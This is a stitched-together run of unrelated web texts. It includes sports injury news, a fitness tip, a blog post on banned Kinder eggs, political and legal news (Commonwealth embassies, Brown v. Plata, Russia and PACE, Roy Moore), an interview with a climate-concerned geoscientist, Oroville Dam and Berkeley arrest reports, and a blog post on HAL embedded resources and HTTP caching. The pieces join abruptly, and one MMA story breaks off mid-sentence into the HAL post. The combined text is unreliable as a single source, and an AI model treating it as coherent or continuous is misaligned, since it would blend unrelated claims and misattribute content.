"He had what we described as a one-week calf last week, so we're hoping that he'll train this week and be available for selection and then it will become a match committee selection and not a medical decision," Scott said.
He said if Wells was medically cleared, the chief question for North's selectors would be whether he was fit enough to take into a final.
The Roos coach suggested the match committee would take into account the fact that Wells was "really influential" in North's three finals last year despite returning late in the home and away season after a four-month layoff with a foot injury.
If North decides not to risk Wells this weekend, he won't be able to return in the VFL given the seasons of the Roos' two affiliates, North Ballarat and Werribee, have ended.
Still, it seems the Roos won't give up on the two-time best-and-fairest winner as long as their finals campaign remains alive.
"It's still our intention to try and get him back and he's working really hard with cross-training and running and getting himself match fit," Scott said.
"Now that's difficult to do because he's had a limited number of matches to actually do that. We don't have a VFL game to play him (in this weekend), so we'll have to do that through match simulation on the training track."
Scott said he expected Thomas would pass a fitness test later this week.
"We haven't had our final medical clearance meeting this week yet and we don't have our main session until later in the week, so we'll see how he comes up," he said.
"But we're pretty optimistic."Want more definition in your back? Include this bent-over row for women in your weight lifting routine for a sculpted back you'll be proud to show off.
Assume starting position as shown.
Step 2
Bend at elbows and bring barbell up toward body.
Step 3
Squeeze shoulder blades together to contract your back muscles.
For more great exercises to improve your strength and fitness, check out:
This information is solely for informational purposes. IT IS NOT INTENDED TO PROVIDE MEDICAL ADVICE. Neither the Editors of Consumer Guide (R), Publications International, Ltd., the author nor publisher take responsibility for any possible consequences from any treatment, procedure, exercise, dietary modification, action or application of medication which results from reading or following the information contained in this information. The publication of this information does not constitute the practice of medicine, and this information does not replace the advice of your physician or other health care provider. Before undertaking any course of treatment, the reader must seek the advice of their physician or other health care provider.Bring these adorable Kinder surprise eggs over the border into the US and you risk being snagged by customs and running up a fine of up to $2,500 per illegal Kinder egg. A dozen could theoreticaly cost you $30,000!
What could possibly be in these eggs, you may wonder, that would merit such a huge fine?
Blood diamonds? Crystal Meth?
Nope, Kinder Surprise eggs are considered contraband for US customs purposes because of this:
No matter that the toy itself is first encapsulated in a rubbery plastic shell, making it extraordinarily difficult to eat by accident, rules are rules. But for my non-US readers– those that live in countries where children don’t eat plastic toys– is the Kinder Egg even a worthwhile souvenir?
Kinder Surprise Egg– the Reveal
Kinder Eggs are made by an Italian company, but are available all over Europe (and Canada too). So as not to run afoul of US Customs laws, I bought and opened my Kinder Egg at the airport in Gatwick. I am providing a photo tour of the reveal, below:
The Kinder Surprise egg. The eggs come in blue and pink, presumably for male and female oriented toys. Removing the foil from the Kinder Egg. You then open the yolk-colored plastic shell to remove the toy inside. An instruction pamphlet accompanies the plastic surprise toy. All of the hype for this toy car.
Is the Kinder Surprise Egg worth the hooplah?
Admittedly, what intrigued me the most about the Kinder Egg was the forbidden factor. And yes, it was a slight thrill to open the egg, anticipating the prize inside. The actual flavor of the chocolate egg was unmemorable.
As for the toy itself? Although there are collectors who buy and trade Kinder toys, I personally wasn’t that impressed with my mini car surprise. After “playing” with it for a few seconds, I put it away, lost it, and haven’t seen it since.
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Have you ever bought a Kinder Surprise Egg? Are there any candy souvenirs that are illegal in your country? Share in the comments below!
Want to read more about illegal eggs? Check out these banned Mexican Confetti eggs (cascarones), a popular Mexican Easter tradition
Or read about what foods you can (and can’t) bring back from the supermarket!British Foreign Secretary William Hague has revealed plans to open a series of joint “Commonwealth embassies” in co-operation with ex-colonial “first cousins” Canada, Australia and New Zealand to enhance the countries’ presence on the world stage and reduce some of the costs associated with running separate diplomatic missions abroad.
But the move may spark questions from critics in this country about whether the ability of Canadian diplomats to act fully independently in certain foreign countries might be curtailed under such an arrangement.
Hague will be in Ottawa on Monday, when he is expected to announce the initiative, along with Foreign Affairs Minister John Baird.
[np-related]
“As [British Prime Minister David Cameron] said when addressing the Canadian parliament last year: ‘We are two nations, but under one Queen and united by one set of values,’” Hague said in a statement released Sunday.
“We have stood shoulder to shoulder from the great wars of the last century to fighting terrorists in Afghanistan and supporting Arab Spring Nations like Libya and Syria. We are first cousins.
“So it is natural that we look to link up our embassies with Canada’s in places where that suits both countries. It will give us a bigger reach abroad for our businesses and people for less cost.”
A spokesman for Foreign Affairs Minister John Baird confirmed Sunday that Baird and Hague will meet Monday and make a joint announcement in the afternoon on Parliament Hill. But the spokesman said no further details would be disclosed until “after a formal announcement.”
Hague, who led the Conservative opposition in Britain from 1997 to 2001 during the Labour government era of former prime minister Tony Blair, was named U.K. foreign secretary in 2010 after current Prime Minister David Cameron led the Conservatives to a minority victory and formed a coalition government with the Liberal Democrats.
No specific countries have been mentioned for potential joint Commonwealth embassies. But a report in the British newspaper the Daily Mail indicated that, “in remote nations where Canada but not Britain has an embassy, or vice versa, they will share the embassy. Similar arrangements are expected to include Australia and New Zealand.”
Canada does, in some instances, share consular facilities in foreign countries with, for example, Australia. Such arrangements are typically sought out when Canada doesn’t have extensive enough trade or political relations with a distant nation to justify opening its own embassy, but requires a place from which to provide basic consular services for Canadians travelling to that country.
But Hague appears to be spearheading a more formal initiative to help expand Britain’s diplomatic presence around the world and — according to the Daily Mail — counter a perceived expansion of the European Union’s international clout.
For some Canadians, the prospect of closer links with Britain in diplomatic missions around the world might recall a time when — for several decades after Confederation — Canada’s foreign policy remained under British control. Historical accounts of Canada’s emergence as a fully independent nation in the 1920s and 1930s typically highlight the rise of an autonomous Canadian foreign policy and the opening of Canadian diplomatic missions separate from Britain’s.Washington (CNN) -- The Supreme Court has affirmed a federal order telling California to reduce its overflowing prison population, a situation the majority said "falls below the standard of decency."
The 5-4 ruling Monday from the justices come in a classic battle over state versus federal authority, focusing on whether U.S. courts can step in and essentially run state prisons when officials have repeatedly violated basic constitutional guarantees afforded inmates.
The issue came down to a sharply divided debate between public safety concerns and individual rights, a debate that goes into how the three branches of government should balance competing state interests.
The swing vote was Justice Anthony Kennedy, who wrote of the "continuing injury and harm resulting from these serious constitutional violations," including as many as 156,000 people crammed in correctional facilities designed to hold about half that many.
He noted "needless suffering and death have been the well-documented result. Over the whole course of years during which this litigation has been pending, no other remedies have been found to be sufficient."
In dissent, Justice Samuel Alito warned any mass release of inmates to alleviate overcrowding would be "gambling with the safety of the people of California."
The state now has a two-year window to comply, with the clock starting Monday. Officials have not fully explained how their ongoing inmate reduction plan will need to be modified to meet the federal order.
In a statement issued Monday afternoon, California Gov. Jerry Brown said he would take "all steps necessary to protect public safety" in implementing the order.
Brown, a Democrat, signed legislation in April that was aimed at cutting the state's prison population by tens of thousands, largely by housing non-violent felons with sentences less than three years in county jails. In his Monday statement, Brown said the court's ruling recognized that law as "key to meeting this obligation," but said the plan still needs "full and constitutionally guaranteed funding."
Prison overcrowding is a nationwide problem, but California's dilemma is unique in its massive scope and time frame. There is general agreement that the prison conditions across California are disturbing.
Prisoners are stacked three deep in 6-by-9-foot cells designed to hold only one. Open spaces meant to be gymnasiums and clinics have been transformed into crowded encampments with bunks and unsanitary conditions. Suicides occur once every eight days on average.
California has the nation's largest prison system, and the state says it has reduced the prison population to meet overcrowding concerns. But a special federal court panel had ordered 36,000 to 46,000 more inmates released or transferred quickly, about a quarter of the total.
Despite some recent drops, the prison population in the state has increased by about 75 percent in the past two decades.
Two lawsuits -- one filed in 1990, the other in 2001 -- say overcrowding is the core cause of what has become a domino effect of unsafe and unhealthy conditions for those on both sides of the iron bars.
State legislators and corrections officials have admitted the prisons violate the ban on "cruel and unusual punishment" contained in the Constitution, and have organized more than 20 panels and commissions to address the crisis.
Former Gov. Arnold Schwarzenegger, who left office in January, had blamed the legislature for not approving more money to build new prisons, or reforming the way defendants are punished and sentenced, particular repeat offenders.
"I don't blame the courts for stepping in to try to solve the overcrowding crisis," he said three years ago. "The fact of the matter is, for decades the state of California hasn't really taken it seriously and hasn't really done something about it."
The special federal court in 2009 had ordered the state to shrink the prison population from the current 200% over capacity to a maximum of 137.5%, and to accomplish that in two years. The state was given wide latitude to meet the goal, but the court was adamant the state do it without delay and without excuse.
The task was made more difficult by the state budget crisis and a national economic downturn that has created turmoil over funding solutions not just in prisons, but also in education, transportation, and social programs.
Kennedy spent most his 52-page majority opinion affirming the right of federal courts to step into the situation.
"This extensive and ongoing constitutional violation requires a remedy, and a remedy will not be achieved without a reduction in overcrowding," he wrote. "The relief ordered by the three-judge court is required by the Constitution and was authorized by Congress in (federal law). The state shall implement the order without further delay."
The state has already begun to comply; about 9,000 inmates have been released since the 2009 trial stemming from the lawsuits.
Justices Ruth Bader Ginsburg, Stephen Breyer, Sonia Sotomayor and Elena Kagan supported Kennedy's conclusions.
Two tough dissents followed the majority's ruling. Reading from the bench, Justice Antonin Scalia said the ruling represents "the most radical injunction issued by a court in our nation's history." He said it "takes federal courts wildly beyond their institutional capacity." Justice Clarence Thomas backed him.
In a separate dissent, Alito spoke of the potential impact of the decision.
"The prisoner release ordered in this case is unprecedented, improvident, and contrary" to federal law, he said. "I fear that today's decision, like prior prisoner release orders, will lead to a grim roster of victims. I hope that I am wrong. In a few years we will see."
Chief Justice John Roberts added his support to Alito's dissent.
The case is Brown v. Plata (09-1233).Alabama Republican Senate candidate Roy Moore is trying to bat off allegations that he sexually abused minors when he was in his 30s. Both President Trump and White House senior advisor Kellyanne Conway, while not explicitly endorsing Moore, are, however, warning Alabamans not to vote for his opponent, Democrat Doug Jones, who they say will ruin the economy and be terrible for national security.
Trump called Jones a "disaster," while Conway referred to him as a classic "doctrinaire liberal" on "Fox & Friends."
Washington Post writer Jennifer Rubin thinks comments like that will damn Conway for eternity.
"Well, to quote Ivanka Trump - who I never quote - there's a special place in hell for mothers who defend accused child molesters, and that would be Kellyanne Conway," Rubin said on MSNBC Saturday. "I have no words to describe how, really, atrocious, how despicable this is."
Neither did she have words, it seems, for the growing number of Democrats now embroiled in their own sexual misconduct scandals - Sen. Al Franken (D-MN) and Rep. John Conyers (D-MI) being the most recent. Instead of strongly condemning their actions and demanding their resignations, top Democrats like Nancy Pelosi are defending them as "icons." Par for the course. Sen. Ted Kennedy, whose negligence killed a young woman in a car accident in 1969, was lauded by Democrats at the 2012 Democratic National Convention.
Never mind that, Rubin only had her judgmental eyes on the Republicans.
I do want to differ with Kurt (Bardella) in that he sees this noxious branch of the Republican party as a segment. Unfortunately, I think that is the Republican party. You can't kind of pass them off as some fringe group when it's the President of the United States, everybody in the White House, the head of the RNC, the Vice President of the United States. We can go down the line. And let's face it. The party has already embraced someone who has been serially accused of sexual assault, that's the President. That's Paul Ryan. That's Mitch McConnell. That's everybody. So, listen, to make this distinction that somehow there are good Republicans on this issue and bad Republicans. This is the horror of Donald Trump which he has infested and deformed an entire national political party. And I think they're rotten to the core now, the whole lot of them.
This is all coming from one of the Washington Post's "conservative" voices.The Parliamentary Assembly of the Council of Europe (PACE) has decided not to restore Russia’s voting rights until April. Moscow was first stripped of its rights in PACE after Crimea joined Russia last year.
In turn, Aleksey Pushkov, the chief of Russia’s PACE delegation and chairman of the State Duma's Foreign Affairs Committee, said: “We are exiting PACE until the end of the year.”
PACE is a 47-member state organization dedicated to upholding human rights, democracy and the rule of law, overseeing the EU Court of Human Rights. It meets four times a year since 1949 in Strasbourg to adopt recommendations, resolutions and opinions, which serve as guidelines for the Committee of Ministers, national governments, parliaments and political parties.
“As PACE stripped Russia of the right to vote in its governing bodies, we can no longer speak of any contacts with the organization,” he explained.
PACE also backed an amendment that called on Russia to free Ukrainian pilot Nadezhda Savchenko in 24 hours or turn her over to a third party. Savchenko was detained in July and is in Russian custody. She is suspected of involvement in the murder of two VGTRK news network journalists in eastern Ukraine in June.
However, the assembly declined the amendment to the resolution which declared the self-proclaimed Donetsk and Lugansk Peoples' Republics in eastern Ukraine “terrorist organizations.”
Following the assembly’s vote, Pushkov said that Russia retracts its earlier suggestion on PACE visiting Savchenko in custody. In turn, PACE’s monitoring missions in Russia will also have to suspend their work, he added.
Before the assembly vote session in Strasbourg, the amendment on stripping Russia of the right to vote and excluding it from PACE governing bodies further in 2015 was supported by a parliamentary committee.
“The amendment that the Russian delegation has been again deprived of the right to vote, to participate in the governing bodies of the Assembly – the Bureau, Presidential and Permanent committees – was passed by one vote, 35 for and 34 against,” said the deputy head of the Russian delegation, Leonid Slutsky.
The vote on the amendment resulted in 160 in favor and 42 against, with 11 abstentions. It was based on the Assembly's Rule 8, which refers to "a serious violation of the basic principles of the Council of Europe" and "persistent failure to honour obligations and commitments."
Slutsky said the committee’s vote came as an “unpleasant surprise” since initially the amendment was turned down by a majority. Thus Austrian delegate Stefan Schennach, who chairs the PACE monitoring committee, argued that the Ukrainian conflict cannot be resolved "without the full-fledged participation and the political will of Russia."
“The rapporteur on Russia’s credentials, Stefan Shennah, recognized [the amendment] as destructive and destroying the entire architecture of the resolution," Slutsky said.
S.Naryshkin: by blocking participation of Russia for 9 months PACE has been an instrument of pressure for its opponents — Государственная Дума (@dumagovru) January 27, 2015
The blocking of Russia’s voice in PACE became a “flagrant violation of the fundamental principle of democracy,” believes Sergey Zheleznyak, deputy chairman of the Russian State Duma.
“Democracy is a dialogue. Democracy means equal participation in discussions and decision making,” Zheleznyak told RT. “And the fact that international security in Europe cannot be assured without Russia’s participation was acknowledged even by our most ardent opponents.”
“We are always ready for a mature, equal and fair dialogue,” Zheleznyak emphasized. “But they somehow believe that they can command us, while we only have a right to remain silent and listen to what they are saying.”
The limitation of the Russian delegation’s powers is yet another “discriminatory act” encouraged by “pro-American forces,” believes Russian Senator and a member of the Committee on International Affairs, Igor Morozov.
“And it is of great regret, since PACE is ceasing to serve as a parliamentary debate platform, where we can discuss key issues of our time, where the delegates have an opportunity to explain to each other their national position,” Morozov said.
“Depriving Russia of its powers essentially means prohibiting the Russian parliamentarians from answering the questions they keep asking us – whether it is Crimea, Ukrainian refugees, or the situation in the southeast,” he explained.
“It is impossible to give a reasoned and cogent response, when we are deprived of a voice,” Morozov added.
Russian lawmakers have previously said that Moscow will leave PACE if its rights are not restored in 2015.
"If the sanctions against the Russian delegation, imposed last April, are renewed, if Russia is stripped of its right to vote and participate in the assembly's leading bodies, we will leave PACE and suspend our membership until the end of 2015," Pushkov said on Tuesday.
READ MORE: Russian delegation leaves PACE session in protest at Ukraine resolution
Last April, PACE suspended Russia’s right to vote and excluded it from leadership positions, until the end of 2014 in retaliation for Crimea voting to join Russia. The Russian delegation did not attend the session to protest the motion.
Russia was stripped of its PACE voting rights in April 2000 in connection with a counter terrorism operation in Chechnya. Moscow's rights were fully reinstated the following year.Event wise, it has been way too silent all around BarCraft Switzerland for way too long. The year 2014 is long over and it hasn’t been one of crazy many BarCrafts, Pubstomps or other e-Sports viewing parties. Indeed, the general interest in watching StarCraft II has been decreasing for quite a while now, and less and less people used to show up for the latest BarCrafts. But that is no excuse for us for not putting together the one or other event anyway – that ought to change in 2015!
Well, if StarCraft doesn’t enjoy popularity as it used to then there is a simple solution to that from the BarCraf Switzerland point of view:
Don’t concentrate only on StarCraft!
Yes, we did give PubStomps a shot and tried to show the one or other DotA2 event. But in all honesty, we by far didn’t show the effort we would have had to, in order to make those events live up to our own standards – and the expectations of the DotA2 fans in Switzerland. In our heads we were stubbornly focussing on StarCraft after all. 2015 however, is a year for fresh starts and a new mindset.
We are currently in the process of checking dates with our regular venue, the Oliver Twist Pub, not only for upcoming StarCraft II (Dreamhack Open) tournaments, but also for Counter-Strike: Global Offensive and DotA2 (ESL One). And we are eager to also through League of Legends (LCS) into the mix as soon as the major events are announced. And if this wasn’t enough already, we would love to top it all off with Hearthstone events. And – who knows how far it will come to this within 2015 – perhaps even some viewing parties for Heroes of the Storm(?).
And if you know about any major e-Sports events all around one of those titles – or perhaps even yet another game which could be interesting to enough people to put together a reasonabl viewing party for it – LET US KNOW!
For now, we are only left to say one thing:
2015, BRING IT ON!
Photo: Helena Kristiansson, ESL (source: Flickr)John Geissman heads the department of geosciences at the University of Texas at Dallas, responsible for the education of the next generation of geoscientists. He is also a member of the development board of the American Geophysical Union (AGU), a perch from where he works to raise money for the organization. He has included a substantial bequest for the AGU in his will, as well.
Among geoscientists in Texas, however, Geissman is an outlier. He believes the world must keep fossil fuels in the ground to prevent the worst effects of climate change. He was one of the signatories of a petition urging the board of the AGU to stop accepting funding from ExxonMobil because of its role in sowing doubt about climate science.
Many of his students are preparing for well-paying careers in oil and gas extraction, but he believes it is work that contributes to a problem in grave need of resolution.
He spoke with InsideClimate News about the dilemma he faces in teaching geosciences to young students in the era of climate change, and how he reconciles his professional proximity to an industry that is altering the global environment.
This interview was edited for length and clarity.
InsideClimate News: Tell me about your career. How did you first get interested in the geosciences?
John Geissman: Ever since I was a little kid, I was always interested in mineral deposits. I was also interested in chemistry. It was the combination of chemical processes and the resulting concentration of particular elements in the crust of our planet that always interested me. I was supported by the Anaconda Copper Mining Company for my masters and Ph.D. and always thought I'd be very interested in working for industry. With more and more time in graduate school, I became much more interested in academia and independent research.
ICN: When did you first become concerned about climate change?
Geissman: Back in the late '50s to early 60s. My father, a chemical engineer, had always been a staunch environmentalist, but in the context of population control. He would rant and rave about the problems of population explosion on our planet—not necessarily in the context of the effects of CO2 emissions, but overall, the effects of human activity on the planet.
I knew enough about science early on to realize what the effects would be of enhanced output of CO2 and burning of fossil fuels. In my mind it was pretty much a no-brainer....What we are doing needs to stop as soon as absolutely possible. I don't care if it's 2 degrees, or 2.1 degrees,1.9, let's just begin stopping right now. And frankly, I really worry about that happening.
ICN: Most of your grad students go on to careers in oil and gas extraction. What do you tell them, given your concern about climate change?
Geissman: I don't call them fools, and I don't insult them, but at the same time I have rather engaging discussions with them. I say to them 'Well, okay, if this is what you really want to do, I think you should realize the consequences.'
At the same time, I very often say, 'You do realize there are other options in the geosciences. And to investigate those other opportunities, to learn more about what they are. Your best way to do this is to go on to graduate school far, far away from Texas. Go to California, go to Colorado, go to Wyoming, where the geoscience departments are more actively involved in a broader array of teaching and research agendas.'
ICN: What opportunities are there for them?
Geissman: I tell them the extraction industry is going to have to remain because we will need certain entities like perovskites [titanium oxide minerals used in new types of solar cells] for solar panels. We will just be doing things a bit differently, but there is still going to be the need for well-trained geoscientists out there.
ICN: Can you be more specific?
Geissman: What happens if somebody suddenly figures out how to make a solar panel with 70 percent efficiency that is cheaper than current solar panels? Can you imagine what that would do? I suspect that we would see a very rapid change. And these are the kinds of things I talk about in the classroom. Be prepared for the unexpected. That is my air of optimism.
ICN: Are the students receptive?
Geissman: I meet with very little resistance when I walk into an introductory geology class. The generation of students, now at the point of entering higher education, the vast majority of them really get it. They are of course interested in what their future portends in terms of jobs, but they do get it.
ICN: And yet a vast majority of your graduate students still go off to work for the oil and gas industry.
Geissman: Human nature is a tough thing to change, you can talk about the issues [of climate change], but my expectations of initiating any form of change are very low.
ICN: Do you battle any internal ethical dilemmas about what you do?
Geissman: I'm happy to say that I don't teach them to be professional petroleum geologists. I don't, per se, train extraction geoscientists.
I teach geoscience, so I'm not going to be teaching 'petroleum geology,' but I can teach classes that are directly related to the preservation of hydrocarbons in the crust of our planet. The most important of which are structural geology and tectonics. How we deform our planet, how we bury sediment to reach that oil maturation window.
ICN: Do your colleagues in the geosciences department also accept the need to keep fossil fuels in the ground?
Geissman: I do have some colleagues who have a rather different opinion. Their opinion is focused around the fact that we will need energy to sustain human civilization. They come at it from the perspective that maintaining the status quo is really important...and therefore we need to continue to do, for all intents and purposes, exactly what we have been doing.
I've told them, I really beg to differ. I think that there is an alternative approach to sustaining human civilization as well as the rest of the environment in which we live and that approach is going to involve some substantial differences.
ICN: Have you received any pushback?
Geissman: I gave [the climate activist] Bill McKibben the Geological Society of America's president's medal while on faculty at UT Dallas in 2012. I received a fair number of less-than-pleasant communications from members of the Geological Society of America. Most of those communications came from individuals in the state of Texas.
ICN: The AGU has been under pressure to cut financial ties with ExxonMobil, after revelations about the company's early involvement with the science of climate change and later efforts to sow doubt. What did you think about those revelations?
Geissman: I wasn't terribly surprised. If you realize that what you are doing to make money actually is detrimental to the human race, you've got a real quandary facing you. Do you stop doing it or do you just conveniently slip it under the rug? But we shouldn't single out ExxonMobil. This kind of stuff is being done by a huge number of organizations in different ways, shapes and forms.
ICN: You signed a petition calling for the AGU board to stop accepting money from Exxon. Why?
Geissman: It was nothing against AGU. It was simply that I think we should be making a statement of, 'Thank you very much [Exxon]. We appreciate your support, but times are changing and we are very concerned about taking a different direction in how we support ourselves.'
In the grand scheme of things, what ExxonMobil provided on an annual basis is a trivial amount in terms of the operation of the institution. My point was not to admonish what the AGU had been doing. It was just simply time to get on and really set the tone for the future. I would love to see the situation where AGU did not need to depend on a dime from any industry. The support for a professional scientific organization should come from activities of the organization and the membership, and other potential non-profit donors.
ICN: If the ultimate decision is not to cut ties, what will you do?
Geissman: I will remain a loyal member of the union, simple as that. I will recognize that I am just one voice in the wilderness with maybe 300 or 400, or whatever number, of colleagues thinking the same thing. Life goes on, but I will continue to do what I do as an individual educator and thankful member of the human race who still has the opportunity to speak his piece. My wife and I have already put in a substantial bequest to the AGU in our will and I will uphold that.
ICN: In 10-20 years, what will the oil and gas industry look like?
Geissman: I can't image it looking like it does today. I think that the carbon extraction industry is going to become more and more influenced by the crises that humans are facing. Hard decisions are going to come either from a political front or from the masses rising up and just saying, 'We've had enough, and things must change.' And that growing number of masses is indeed pretty impressive.
ICN: From where you sit in Texas, are there signs this is underway?
Geissman: If you were to ask an active participant in the oil and gas industry right now in the United States, I think they would say the future is very rosy. They recognize the inability of this country to actually make substantive changes in energy resources in a timely fashion. And then you factor in the whole issue of energy independence that resonates with the vast majority of American voters. They are, I hate to say it, in a very comfortable position.
ICN: Are you hopeful that we can solve the climate crisis?California Gov. Jerry Brown on Monday evening requested federal assistance with the Oroville Dam emergency spillway crisis as mandatory evacuation orders remained in effect for about 188,000 residents downstream from the nation's tallest earthen dam.
"I respectfully request that you issue an emergency declaration for direct federal assistance for the counties of Butte, Sutter and Yuba, as a result of the potential failure of the Lake Oroville Dam emergency spillway," Brown said in a letter to President Donald Trump.
Added Brown, "As a result of the potential for catastrophic flooding, approximately 188,000 residents from Butte, Sutter and Yuba counties were forced to immediately evacuate their homes for life and safety. Officials are aggressively attempting to lower Lake Oroville's water levels, as another atmospheric river storm system is scheduled to arrive within 48 hours."
In asking for assistance, the governor said Oroville Dam emergency is "of such severity and magnitude that continued effective response is beyond the capabilities of the state and affected local governments and supplemental federal assistance is necessary to save lives and to protect property, public health and safety, and to lessen the effects of this serious situation."
Also late Monday, workers scrambled to place giant sacks of rocks into portions of the eroded emergency spillway using heavy-lift helicopters. They also planned to use grout in damaged areas of the emergency spillway to prevent further erosion.
State and local officials worked into the night Sunday to evacuate thousands of residents downstream from the dam after a hole in an emergency spillway raised fears of flash floods. Oroville Dam — California's second-largest dam — is located about 70 miles north of Sacramento.Berkeley Police Department arrested a suspect Thursday in connection with carrying a loaded, unregistered and concealed firearm in public, according to a Nixle alert released Monday.
A BPD officer and his recruit stopped a black Mercedes at the intersection of College Avenue and Parker Street about 12:40 p.m. Thursday on suspicion of several vehicle code violations, the alert stated. The driver was identified by his California driver’s license as Michael Bishop, a 52-year-old Berkeley resident. The alert alleged that the computer check revealed that he was driving on a suspended license.
When the officers searched Bishop, they allegedly found a concealed revolver in his pocket that was loaded with live rounds and spent casings, the alert said. BPD arrested Bishop in connection with carrying a loaded, unregistered and concealed firearm in public and driving on a suspended license.
“The Berkeley Police Department takes great pride in our ongoing efforts to take illegally possessed firearms off the streets and help make our community a safer place,” the alert said.
Chantelle Lee is an assistant news editor. Contact her at [email protected] and follow her on Twitter at @ChantelleHLee.If the Dallas Cowboys appreciate Dez Bryant's newfound maturity off the field, they're going to love his on-field goals for 2013.
After last year's breakout season, Bryant believes he's "still scratching the surface."
Can he bypass Calvin Johnson as the NFL's top receiver while becoming the first player in league history to reach 2,000 yards in a single season?
"I feel like it can be a lot more," Bryant told ESPNDallas.com on Tuesday. "That's just being honest. I honestly feel like (2,000 yards and 20 touchdowns) can potentially happen."
While Bryant's elite talent is beyond dispute, former Oakland Raiders great Tim Brown recently questioned the physical receiver's ability to make it through 16 games with an out-of-control, "kamikaze" style of play.
Bryant risked his long-term NFL future by playing through a fractured finger in December, closing out the season with a lower-back injury that left him wheelchair-bound as he exited the stadium.
Bryant has yet to run routes this offseason because of the back injury, and he could end up missing all or part of organized team activities. There's no concern, however, that the injury will linger into training camp.
Don't expect him to adopt a more cautious, less physical approach to avoid future injuries.
Schein: Bad news for the 'Boys High expectations won't be a problem for the Adam Schein explains why Dallas will stink next season.
High expectations won't be a problem for the Cowboys in 2013.explains why Dallas will stink next season. More...
"That's just how I play," Bryant said last week, via The Dallas Morning News. "That's my type of game. That's my style of play. I'm going to keep playing that way. I don't think about injuries. I just go out there and play."
The final eight games of Bryant's 2012 season project to 1,758 yards and 20 touchdowns across a full season. In an increasingly pass-heavy NFL, he's capable of reaching the 2,000-yard mark in a best-case scenario.
The question is if Bryant can maintain that production level while staying out of the trainers' room.
Follow Chris Wesseling on Twitter @ChrisWesseling.Two months ago, on a beautiful late summer night, my smartphone buzzed with a text.
"Josh, this is Sean Entin; it's been a while. I have a story that you may like to hear."
He was correct, it had been a couple years at least, but Entin hadn't forgotten how to grab my attention.
We met more than a decade ago, when I was a reporter feeling my way around mixed martial arts, and he was a manager trying to do the same. Entin, now 40, worked most closely with Mark Kerr during the heavyweight's self-destruction. "The Smashing Machine," an HBO documentary in 2003 that focused on Kerr's fall as he participated in Pride's famed |
In HAL the top-level property names in the _links object are link relations, and the item link relation was standardized by Mike Amundsen as RFC6573.
This is great, but unpractical
The problem with the linked approach is that very often, a REST client will want to receive the details of every item in a collection. In the last example this would mean an extra HTTP GET request for each of the items in the collection.
This is not acceptable for many real-world REST services out there, so we need a solution. HAL (and virtually every other hypermedia format) solves this by embedding the resources in the collection.
To demonstrate, here is the same collection again.
{ "_links" : { "self" : { "href" : "/articles/byyear/2017" } }, "_embedded" : { "item" : [ { "_links" : { "self" : { "href" : "/articles/1" } }, "title" : "..", "pubDate" : "..", "content" : ".." }, { "_links" : { "self" : { "href" : "/articles/2" } }, "title" : "..", "pubDate" : "..", "content" : ".." }, { "_links" : { "self" : { "href" : "/articles/3" } }, "title" : "..", "pubDate" : "..", "content" : ".." } ] } }
Two things happened here. Each individual item in the collection now appears in _embedded. They have their own sets of links, including a self link, referring to the uri of the resource we just embedded. We also removed the items from _links.
The way we look at _embedded is that things that appear in _embedded are:
Link relations, equal to items appearing in _links.
. The data you would receive, if you did a GET request on the target of the link.
This is important, because a good HAL-based REST client should ideally consider things appearing in _embedded and _links as the exact same thing. The only difference is that because an item appears in _embedded, it’s no longer needed to perform that GET request. The client should cache it.
If a client is built around this core concept, another benefit is that the client becomes adaptable to changes to the server. You might for example see over time that a HAL client very often might follow a certain link and almost always will want the data for it.
An example
Here’s a real-world example from our API. Our API has a document on the root of the API that the client uses to discover all the other resources. It contains a link to a resource that has information about the current user:
{ "_links" : { "self" : { "href" : "/" }, "current-user" : { "href" : "/user/1356" }, "support" : { "href" : "mailto:support@example.org" } } }
We noticed that all clients always request the current users’ information after logging in. It always follows up this initial GET to a GET to whatever the current-user relation points at.
Knowing this, we can change our API to simply assume this and pre-emptively send that resource over:
{ "_links" : { "self" : { "href" : "/" }, "support" : { "href" : "mailto:support@example.org" } }, "_embedded" : { "current-user" : { "_links" : { "self" : { "href" : "/user/1356" } }, "firstName" : "...", "lastName" : "...", "email" : "..." } } }
A good HAL client would need 0 changes, and simply adapt to this new situation and skip the second GET request.
A few problems with this
One of the biggest advantages and promises that REST typically gives us, is by using the functionality HTTP, we get all the benefits from HTTP. The usual example of this is being able to use the rich caching features from HTTP.
However, HTTP caches will not be aware of embedded resources. In the last example, the cache doesn’t know that /user/1356 was embedded and cached, and it does not know it can skip a future GET request to that resource.
Also, if we did a real cached GET request, but later on we issue a PUT on that same resource, a HTTP client ‘knows’ that since a PUT was issued, the local cache is no longer valid.
So typically, a HAL client that wants to be adaptable to this needs it’s own cache. What we’ll ideally want to do, is something like this (in pseudo-code)
var api = new API ( '/' ); // Referring to the root. var currentUserResource = await api. follow ( 'current-user' ); console. log ( await currentUserResource. get ());
I hope the source makes some sense, but the general idea is that once we ‘follow’ the current-user link and get its representation, we only need the extra GET request, if it wasn’t embedded. This should be a seamless experience.
To implement this in browsers today, it means that the API client will need to:
Understand _embedded
Take items from _embedded, treat them the same as links
, treat them the same as links Store them into a some kind of local cache.
Use that local cache when the user wants to do a GET request.
request. Invalidate that local cache when PUT, DELETE or another non-safe HTTP request is issued on that same resource.
So while we can still use HTTP semantics, we now have two caching layers which may conflict.
Fetch: A future solution to this problem
The Fetch API is the future of doing HTTP requests in browsers. It’s a much nicer api than XMLHTTPRequest, but also has another really cool feature: Once it lands it gives us direct access to the browsers’ HTTP cache.
The specific thing to look for is Cache.put(). This API should allow us to directly add things to the browser cache. A HAL client in this case could parse out everything that appears in _embedded and directly add it to this cache.
A future GET request will then simply directly be taken from this cache, and the GET request is avoided. This is huge.
What’s interesting about this API is that it does not just take a URL and the thing you want to store, you actually store a HTTP request and a HTTP response.
This is important, because a HTTP cache is not just URL-based. A single GET request to a single url might have different responses based on HTTP request headers like:
Accept
Accept-Language
Authorization
Or even other custom headers. A HTTP server can indicate to a client how the client should store responses in the cache based on the Vary header. For example, if a response to a GET request has the Vary: X-Foo header, the http client knows that depending on the value of the X-Foo header in the HTTP Request (Not the response, this is important!) the server might emit a different response.
What’s also important to know, is that the HTTP client cache will store and expire the cache for any given resource based on instructions the server gives in headers such as Cache-Control and Expires.
In HAL we have none of that information available in _embedded, so we sort of need to make these values up, and that’s not great.
A suggested proposal to improve HAL
Conceptually I feel that HAL’s _embedded is not strictly for specifying collections and/or sub-resources. It’s core feature is really means to prepopulate the HTTP cache to avoid future GET requests.
Knowing that, I believe _embedded is not the best format to achieve this goal. We’re missing crucial information to do this as correct as possible.
Here’s a format I would like to see instead:
